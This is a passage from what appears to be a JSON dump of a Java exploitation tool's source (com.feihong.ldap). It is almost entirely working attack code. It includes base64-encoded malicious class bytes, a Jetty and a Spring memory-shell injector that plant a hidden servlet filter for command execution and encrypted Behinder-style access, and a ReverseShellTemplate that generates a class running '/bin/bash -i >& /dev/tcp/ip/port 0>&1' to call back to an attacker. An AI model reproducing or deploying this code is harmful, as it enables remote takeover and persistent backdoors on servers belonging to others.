GxEYkdGemMweHZZV1JsY2k1cVlYWmhEQUFHQUFjQkFDZGpiMjB2Wm1WcGFHOXVaeTlzWkdGd0wzUmxiWEJzWVhSbEwwMTVRMnhoYzNOTWIyRmtaWElNQUE4QUdnRUFGV3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2dFQUZ5aGJRa2xKS1V4cVlYWmhMMnhoYm1jdlEyeGhjM003QUNFQUFnQUZBQUFBQUFBQ0FBQUFCZ0FIQUFFQUNBQUFBRG9BQWdBQ0FBQUFCaW9ydHdBQnNRQUFBQUlBQ1FBQUFBWUFBUUFBQUFRQUNnQUFBQllBQWdBQUFBWUFDd0FNQUFBQUFBQUdBQTBBRGdBQkFBa0FEd0FRQUFFQUNBQUFBRVFBQkFBQ0FBQUFFTHNBQWxrcnR3QURLZ01xdnJZQUJMQUFBQUFDQUFrQUFBQUdBQUVBQUFBSUFBb0FBQUFXQUFJQUFBQVFBQkVBRWdBQUFBQUFFQUFUQUE0QUFRQUJBQlFBQUFBQ0FCVT0MAVoBWwwBXAFdAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAL2NvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0ZpbHRlclRlbXBsYXRlAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEACWdldEhlYWRlcgEACWdldE1ldGhvZAEACmdldFNlc3Npb24BACIoKUxqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb247AQAeamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXNzaW9uAQAMc2V0QXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAC2dldEluc3RhbmNlAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAxnZXRBdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwEABmFwcGVuZAEALShMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEACWdldFJlYWRlcgEAGigpTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RvRmluYWwBAAYoW0IpW0IBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAA9wcmludFN0YWNrVHJhY2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBAA1nZXRTdXBlcmNsYXNzAQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwAhAF0AQgABAF4ABAACAF8AYAAAAAIAYQBiAAAAAgBjAGIAAAACAGQAYgAAAAUAAQBlAGYAAQBnAAAAWQACAAEAAAAbKrcAASoSArUAAyoSBLUABSoSBrUAByq3AAixAAAAAgBoAAAAGgAGAAAAFgAEABEACgASABAAEwAWABcAGgAYAGkAAAAMAAEAAAAbAGoAawAAAAEAbABtAAIAZwAAADUAAAACAAAAAbEAAAACAGgAAAAGAAEAAAAdAGkAAAAWAAIAAAABAGoAawAAAAAAAQBuAG8AAQBwAAAABAABAHEAAQByAHMAAgBnAAAC5AAHAAoAAAGpsgAJEgq2AAsrEgy5AA0CAMYAkSsSDLkADQIAEg62AA+ZAIErKrQAA7kADQIAOgQZBMYAbRkEtgAQmgBlAToFsgAREhK2AA+ZABsGvQATWQMSFFNZBBIVU1kFGQRTOgWnABgGvQATWQMSFlNZBBIXU1kFGQRTOgW7ABhZuAAZGQW2ABq2ABu3ABwSHbYAHrYAHzoGLLkAIAEAGQa2ACGnAQorwAAiKrQABbkAIwIAxgDyK8AAIrkAJAEAEiW2AA+ZANQqtAAHOgQrwAAiuQAmAQASJxkEuQAoAwASKbgAKjoFGQUFuwArWbsALFm3AC0rwAAiuQAmAQASJ7kALgIAtgAvEjC2ADG2ADK2ADMSKbcANLYANRkFuwA2WbcANyu5ADgBALYAObYAOrYAOzoGKrQAPBI9Bb0APlkDEj9TWQQSQFO2AEEBBb0AQlkDGQZTWQS4AEO2AERTtgBFwAA+OgcZB7YARjoIGQcSRwW9AD5ZAxJIU1kEEklTtgBBOgkZCRkIBb0AQlkDK1NZBCxTtgBFV6cAFToEGQS2AEunAAstKyy5AEwDALEAAQCxAZMBlgBKAAMAaAAAAG4AGwAAACEACAAkACMAJgAvACcAPAAoAD8AKQBKACoAYgAsAHcALgCTAC8AngAxALEANADCADUAyAA2ANoANwDhADgBFQA5AS8AOgFhADsBaAA8AX8APQGTAEEBlgA/AZgAQAGdAEEBoABDAagARQBpAAAAjgAOAD8AXwB0AHUABQCTAAsAdgBiAAYALwBvAHcAYgAEAMgAywB4AGIABADhALIAeQB6AAUBLwBkAHsAfAAGAWEAMgB9AGAABwFoACsAfgB/AAgBfwAUAIAAgQAJAZgABQCCAIMABAAAAakAagBrAAAAAAGpAIQAhQABAAABqQCGAIcAAgAAAakAiACJAAMAigAAABkACP0AYgcAiwcAjBT5ACYC+wDxQgcAjQkHAHAAAAAGAAIAWQBxAAEAjgBmAAEAZwAAACsAAAABAAAAAbEAAAACAGgAAAAGAAEAAABKAGkAAAAMAAEAAAABAGoAawAAAAIAjwBmAAEAZwAAAgMABwAHAAAAqbgAQ7YAREwqKxJNtgBOtQA8pwB/TSu2AFBOAToEGQTHADMtEkKlAC0tEj0GvQA+WQMSP1NZBLIAUVNZBbIAUVO2AEE6BKf/2DoFLbYAU06n/84SVDoFuwA2WbcANxkFtgA6OgYZBAS2AFUqGQQrBr0AQlkDGQZTWQQDuABWU1kFGQa+uABWU7YARcAAPrUAPKcAGEwrtgBYpwAQTCu2AFqnAAhMK7YAXLEABQAHABEAFABPACgARQBIAFIAAACQAJMAVwAAAJAAmwBZAAAAkACjAFsAAwBoAAAAagAaAAAATgAHAFAAEQBgABQAUQAVAFIAGgBTAB0AVAAoAFYARQBZAEgAVwBKAFgATwBZAFIAXABWAF0AZABeAGoAXwCQAGcAkwBhAJQAYgCYAGcAmwBjAJwAZACgAGcAowBlAKQAZgCoAGgAaQAAAHAACwBKAAUAkACRAAUAGgB2AJIAYAADAB0AcwCTAIEABABWADoAlABiAAUAZAAsAJUAfAAGABUAewCCAJYAAgAHAIkAlwCYAAEAlAAEAIIAmQABAJwABACCAJoAAQCkAAQAggCbAAEAAACpAGoAawAAAIoAAAA6AAn/ABQAAgcAnAcAnQABBwCe/gAIBwCeBwCfBwCgagcAoQn/AD0AAQcAnAAAQgcAokcHAKNHBwCkBAABAKUAAAACAKY=\";\n                            byte[] bytes = base64Decoder.decodeBuffer(codeClass);\n\n                            Method method = null;\n                            Class clz = cl.getClass();\n                            while(method == null && clz != Object.class ){\n                                try{\n                                    method = clz.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n                                }catch(NoSuchMethodException ex){\n                                    clz = clz.getSuperclass();\n                                }\n                            }\n                            method.setAccessible(true);\n                            clazz = (Class) method.invoke(cl, bytes, 0, bytes.length);\n                        }\n\n                        holder.getClass().getMethod(\"setFilter\", Filter.class).invoke(holder, clazz.newInstance());\n                        handler.getClass().getMethod(\"addFilter\", holder.getClass()).invoke(handler, holder);\n\n                        clazz = classLoader.loadClass(\"org.eclipse.jetty.servlet.FilterMapping\");\n                        Object filterMapping = clazz.newInstance();\n                        Method method = filterMapping.getClass().getDeclaredMethod(\"setFilterHolder\", holder.getClass());\n                        method.setAccessible(true);\n                        method.invoke(filterMapping, holder);\n                        filterMapping.getClass().getMethod(\"setPathSpecs\", String[].class).invoke(filterMapping, new Object[]{new String[]{urlPattern}});\n                        filterMapping.getClass().getMethod(\"setDispatcherTypes\", EnumSet.class).invoke(filterMapping, EnumSet.of(DispatcherType.REQUEST));\n\n                        // prependFilterMapping 会自动把 filter 加到最前面\n                        handler.getClass().getMethod(\"prependFilterMapping\", filterMapping.getClass()).invoke(handler, filterMapping);\n                    }\n                }catch(Exception e){\n                    //pass\n                }\n            }\n        }catch(Exception e){\n            e.printStackTrace();\n        }\n    }\n\n    @Override\n    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {\n\n    }\n\n    @Override\n    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {\n\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/template/MyClassLoader.java",
    "content": "package com.feihong.ldap.template;\n\npublic class MyClassLoader extends ClassLoader {\n    MyClassLoader(ClassLoader c){super(c);}\n\n\n    public static Class defineClass(byte[] bytes, ClassLoader classLoader){\n        return new MyClassLoader(classLoader).defineClass(bytes, 0, bytes.length);\n    }\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/template/ReverseShellTemplate.java",
    "content": "package com.feihong.ldap.template;\n\nimport com.feihong.ldap.utils.Cache;\nimport com.feihong.ldap.utils.Util;\nimport org.objectweb.asm.*;\nimport java.io.FileOutputStream;\nimport static org.objectweb.asm.Opcodes.*;\n\npublic class ReverseShellTemplate implements Template {\n    private String className;\n    private byte[] bytes;\n    private String ip;\n    private int port;\n\n    public ReverseShellTemplate(String ip, String port){\n        this(ip, Integer.parseInt(port));\n    }\n\n\n    public ReverseShellTemplate(String ip, int port){\n        this.ip = ip;\n        this.port = port;\n        this.className = \"Exploit\" + Util.getRandomString();\n\n        generate();\n    }\n\n    public ReverseShellTemplate(String ip, String port, String className){\n        this(ip, Integer.parseInt(port));\n        this.className = className;\n\n        generate();\n    }\n\n    @Override\n    public String getClassName(){\n        return className;\n    }\n\n    @Override\n    public byte[] getBytes() {\n        return bytes;\n    }\n\n    @Override\n    public void cache() {\n        Cache.set(className, bytes);\n    }\n\n    @Override\n    public void generate() {\n        ClassWriter cw = new ClassWriter(0);\n        FieldVisitor fv;\n        MethodVisitor mv;\n        AnnotationVisitor av0;\n\n        cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, \"com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet\", null);\n\n\n        {\n            fv = cw.visitField(ACC_PRIVATE, \"ip\", \"Ljava/lang/String;\", null, null);\n            fv.visitEnd();\n        }\n        {\n            fv = cw.visitField(ACC_PRIVATE, \"port\", \"I\", null, null);\n            fv.visitEnd();\n        }\n        {\n            mv = cw.visitMethod(ACC_PUBLIC, \"<init>\", \"()V\", null, null);\n            mv.visitCode();\n            Label l0 = new Label();\n            Label l1 = new Label();\n            Label l2 = new Label();\n            mv.visitTryCatchBlock(l0, l1, l2, \"java/lang/Exception\");\n            Label l3 = new Label();\n            mv.visitLabel(l3);\n            mv.visitLineNumber(12, l3);\n            mv.visitVarInsn(ALOAD, 0);\n            mv.visitMethodInsn(INVOKESPECIAL, \"com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet\", \"<init>\", \"()V\", false);\n            Label l4 = new Label();\n            mv.visitLabel(l4);\n            mv.visitLineNumber(13, l4);\n            mv.visitFieldInsn(GETSTATIC, \"java/io/File\", \"separator\", \"Ljava/lang/String;\");\n            mv.visitLdcInsn(\"/\");\n            mv.visitMethodInsn(INVOKEVIRTUAL, \"java/lang/String\", \"equals\", \"(Ljava/lang/Object;)Z\", false);\n            Label l5 = new Label();\n            mv.visitJumpInsn(IFEQ, l5);\n            Label l6 = new Label();\n            mv.visitLabel(l6);\n            mv.visitLineNumber(14, l6);\n            mv.visitInsn(ICONST_3);\n            mv.visitTypeInsn(ANEWARRAY, \"java/lang/String\");\n            mv.visitInsn(DUP);\n            mv.visitInsn(ICONST_0);\n            mv.visitLdcInsn(\"/bin/bash\");\n            mv.visitInsn(AASTORE);\n            mv.visitInsn(DUP);\n            mv.visitInsn(ICONST_1);\n            mv.visitLdcInsn(\"-c\");\n            mv.visitInsn(AASTORE);\n            mv.visitInsn(DUP);\n            mv.visitInsn(ICONST_2);\n            mv.visitLdcInsn(\"/bin/bash -i >& /dev/tcp/\" + ip + \"/\" + port + \" 0>&1\");\n            mv.visitInsn(AASTORE);\n            mv.visitVarInsn(ASTORE, 1);\n            mv.visitLabel(l0);\n            mv.visitLineNumber(16, l0);\n            mv.visitMethodInsn(INVOKESTATIC, \"java/lang/Runtime\", \"getRuntime\", \"()Ljava/lang/Runtime;\", false);\n            mv.visitVarInsn(ALOAD, 1);\n            mv.visitMethodInsn(INVOKEVIRTUAL, \"java/lang/Runtime\", \"exec\", \"([Ljava/lang/String;)Ljava/lang/Process;\", false);\n            mv.visitInsn(POP);\n            mv.visitLabel(l1);\n            mv.visitLineNumber(19, l1);\n            mv.visitJumpInsn(GOTO, l5);\n            mv.visitLabel(l2);\n            mv.visitLineNumber(17, l2);\n            mv.visitFrame(Opcodes.F_FULL, 2, new Object[]{className, \"[Ljava/lang/String;\"}, 1, new Object[]{\"java/lang/Exception\"});\n            mv.visitVarInsn(ASTORE, 2);\n            Label l7 = new Label();\n            mv.visitLabel(l7);\n            mv.visitLineNumber(18, l7);\n            mv.visitVarInsn(ALOAD, 2);\n            mv.visitMethodInsn(INVOKEVIRTUAL, \"java/lang/Exception\", \"printStackTrace\", \"()V\", false);\n            mv.visitLabel(l5);\n            mv.visitLineNumber(22, l5);\n            mv.visitFrame(Opcodes.F_CHOP, 1, null, 0, null);\n            mv.visitInsn(RETURN);\n            Label l8 = new Label();\n            mv.visitLabel(l8);\n            mv.visitLocalVariable(\"e\", \"Ljava/lang/Exception;\", null, l7, l5, 2);\n            mv.visitLocalVariable(\"command\", \"[Ljava/lang/String;\", null, l0, l5, 1);\n            mv.visitLocalVariable(\"this\", \"LReverseShell;\", null, l3, l8, 0);\n            mv.visitMaxs(4, 3);\n            mv.visitEnd();\n        }\n        {\n            mv = cw.visitMethod(ACC_PUBLIC, \"transform\", \"(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V\", null, new String[]{\"com/sun/org/apache/xalan/internal/xsltc/TransletException\"});\n            mv.visitCode();\n            Label l0 = new Label();\n            mv.visitLabel(l0);\n            mv.visitLineNumber(27, l0);\n            mv.visitInsn(RETURN);\n            Label l1 = new Label();\n            mv.visitLabel(l1);\n            mv.visitLocalVariable(\"this\", \"LReverseShell;\", null, l0, l1, 0);\n            mv.visitLocalVariable(\"document\", \"Lcom/sun/org/apache/xalan/internal/xsltc/DOM;\", null, l0, l1, 1);\n            mv.visitLocalVariable(\"handlers\", \"[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;\", null, l0, l1, 2);\n            mv.visitMaxs(0, 3);\n            mv.visitEnd();\n        }\n        {\n            mv = cw.visitMethod(ACC_PUBLIC, \"transform\", \"(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V\", null, new String[]{\"com/sun/org/apache/xalan/internal/xsltc/TransletException\"});\n            mv.visitCode();\n            Label l0 = new Label();\n            mv.visitLabel(l0);\n            mv.visitLineNumber(32, l0);\n            mv.visitInsn(RETURN);\n            Label l1 = new Label();\n            mv.visitLabel(l1);\n            mv.visitLocalVariable(\"this\", \"LReverseShell;\", null, l0, l1, 0);\n            mv.visitLocalVariable(\"document\", \"Lcom/sun/org/apache/xalan/internal/xsltc/DOM;\", null, l0, l1, 1);\n            mv.visitLocalVariable(\"iterator\", \"Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;\", null, l0, l1, 2);\n            mv.visitLocalVariable(\"handler\", \"Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;\", null, l0, l1, 3);\n            mv.visitMaxs(0, 4);\n            mv.visitEnd();\n        }\n        cw.visitEnd();\n        bytes = cw.toByteArray();\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/com/feihong/ldap/template/SpringMemshellTemplate.java",
    "content": "package com.feihong.ldap.template;\n\nimport com.sun.org.apache.xalan.internal.xsltc.DOM;\nimport com.sun.org.apache.xalan.internal.xsltc.TransletException;\nimport com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;\nimport com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;\nimport com.sun.org.apache.xml.internal.serializer.SerializationHandler;\nimport org.springframework.web.context.ContextLoader;\nimport org.springframework.web.context.request.RequestContextHolder;\nimport org.springframework.web.context.support.XmlWebApplicationContext;\nimport sun.misc.BASE64Decoder;\nimport java.lang.reflect.Method;\nimport java.util.Set;\n\npublic class SpringMemshellTemplate extends AbstractTranslet {\n    public SpringMemshellTemplate(){\n        System.out.println(\"[+] Add Dynamic Controller\");\n\n        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n        Class clazz = null;\n        try{\n            clazz = classLoader.loadClass(\"com.feihong.ldap.template.DynamicFilterTemplate\");\n        }catch(ClassNotFoundException e){\n            try{\n                BASE64Decoder base64Decoder = new BASE64Decoder();\n                String codeClass = \"yv66vgAAADIBXgoAQgCnCACoCQBdAKkIAKoJAF0AqwgArAkAXQCtCgBdAK4JAK8AsAgAsQoAsgCzCAC0CwBIALUIALYKABMAtwoAEwC4CQC5ALoIALsHALwIAL0IAL4IAHcIAL8HAMAKAMEAwgoAwQDDCgDEAMUKABgAxggAxwoAGADICgAYAMkLAEkAygoAywCzBwDMCwAiAM0LACIAzggAzwsAIgDQCADRCwDSANMIANQKANUA1gcA1wcA2AoALACnCwDSANkKACwA2ggA2woALADcCgAsAN0KABMA3goAKwDfCgDVAOAHAOEKADYApwsASADiCgDjAOQKADYA5QoA1QDmCQBdAOcIAOgHAOkHAHwHAOoKAD4A6wcA7AoA7QDuCgDtAO8KAPAA8QoAPgDyCADzBwD0BwD1BwD2CgBKAPcLAPgA+QgA+goAQAD7BwD8CgBCAP0JAP4A/wcBAAoAPgEBCAECCgDwAQMKAP4BBAcBBQoAVwD3BwEGCgBZAPcHAQcKAFsA9wcBCAcBCQEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAQYmFzaWNDbWRTaGVsbFB3ZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAE2JlaGluZGVyU2hlbGxIZWFkZXIBABBiZWhpbmRlclNoZWxsUHdkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADFMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9EeW5hbWljRmlsdGVyVGVtcGxhdGU7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcBCgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQADY21kAQABawEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADmV2aWxDbGFzc0J5dGVzAQACW0IBAAlldmlsQ2xhc3MBAApldmlsT2JqZWN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAMdGFyZ2V0TWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQALZmlsdGVyQ2hhaW4BABtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjsBAA1TdGFja01hcFRhYmxlBwC8BwB1BwD2AQAHZGVzdHJveQEACmluaXRpYWxpemUBAAJleAEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEABWNsYXp6AQAGbWV0aG9kAQAEY29kZQEABWJ5dGVzAQAiTGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBACJMamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb247AQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQAtTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb247BwEIBwDqBwD8BwDpBwELBwEABwEFBwEGBwEHAQAKU291cmNlRmlsZQEAGkR5bmFtaWNGaWx0ZXJUZW1wbGF0ZS5qYXZhDABlAGYBAARwYXNzDABhAGIBAAxYLU9wdGlvbnMtQWkMAGMAYgEAEGU0NWUzMjlmZWI1ZDkyNWIMAGQAYgwAjwBmBwEMDAENAQ4BAB1bK10gRHluYW1pYyBGaWx0ZXIgc2F5cyBoZWxsbwcBDwwBEAERAQAEdHlwZQwBEgETAQAFYmFzaWMMAPMBFAwBFQEWBwEXDAEYAGIBAAEvAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwEAAi9DAQARamF2YS91dGlsL1NjYW5uZXIHARkMARoBGwwBHAEdBwEeDAEfASAMAGUBIQEAAlxBDAEiASMMASQBJQwBJgEnBwEoAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAwBKQETDAEqASUBAARQT1NUDAErASwBAAF1BwEtDAEuAS8BAANBRVMHATAMATEBMgEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBMwE0DAE1ATYBAAAMATUBNwwBOAElDAE5AToMAGUBOwwAbAE8AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwBPQE+BwE/DAFAASUMAUEBQgwBQwFEDABfAGABAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgwBRQFGAQAQamF2YS9sYW5nL09iamVjdAcBRwwBSAFJDAFKAUsHAQsMAUwBTQwBTgFPAQAGZXF1YWxzAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBUABmBwFRDAByAVIBACdjb20uZmVpaG9uZy5sZGFwLnRlbXBsYXRlLk15Q2xhc3NMb2FkZXIMAVMBVAEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uDAFVAVYHAVcMAVgAYAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24MAVkBVgEDHHl2NjZ2Z0FBQURJQUd3b0FCUUFXQndBWENnQUNBQllLQUFJQUdBY0FHUUVBQmp4cGJtbDBQZ0VBR2loTWFtRjJZUzlzWVc1bkwwTnNZWE56VEc5aFpHVnlPeWxXQVFBRVEyOWtaUUVBRDB4cGJtVk9kVzFpWlhKVVlXSnNaUUVBRWt4dlkyRnNWbUZ5YVdGaWJHVlVZV0pzWlFFQUJIUm9hWE1CQUNsTVkyOXRMMlpsYVdodmJtY3ZiR1JoY0M5MFpXMXdiR0YwWlM5TmVVTnNZWE56VEc5aFpHVnlPd0VBQVdNQkFCZE1hbUYyWVM5c1lXNW5MME5zWVhOelRHOWhaR1Z5T3dFQUMyUmxabWx1WlVOc1lYTnpBUUFzS0Z0Q1RHcGhkbUV2YkdGdVp5OURiR0Z6YzB4dllXUmxjanNwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjenNCQUFWaWVYUmxjd0VBQWx0Q0FRQUxZMnhoYzNOTWIyRmtaWElCQUFwVGIzVnlZMlZHYVd4bEFRQVNUWGxEYkdGemMweHZZV1JsY2k1cVlYWmhEQUFHQUFjQkFDZGpiMjB2Wm1WcGFHOXVaeTlzWkdGd0wzUmxiWEJzWVhSbEwwMTVRMnhoYzNOTWIyRmtaWElNQUE4QUdnRUFGV3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2dFQUZ5aGJRa2xKS1V4cVlYWmhMMnhoYm1jdlEyeGhjM003QUNFQUFnQUZBQUFBQUFBQ0FBQUFCZ0FIQUFFQUNBQUFBRG9BQWdBQ0FBQUFCaW9ydHdBQnNRQUFBQUlBQ1FBQUFBWUFBUUFBQUFRQUNnQUFBQllBQWdBQUFBWUFDd0FNQUFBQUFBQUdBQTBBRGdBQkFBa0FEd0FRQUFFQUNBQUFBRVFBQkFBQ0FBQUFFTHNBQWxrcnR3QURLZ01xdnJZQUJMQUFBQUFDQUFrQUFBQUdBQUVBQUFBSUFBb0FBQUFXQUFJQUFBQVFBQkVBRWdBQUFBQUFFQUFUQUE0QUFRQUJBQlFBQUFBQ0FCVT0MAVoBWwwBXAFdAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEAL2NvbS9mZWlob25nL2xkYXAvdGVtcGxhdGUvRHluYW1pY0ZpbHRlclRlbXBsYXRlAQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAB2lzRW1wdHkBAAMoKVoBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBABFqYXZhL2xhbmcvUnVu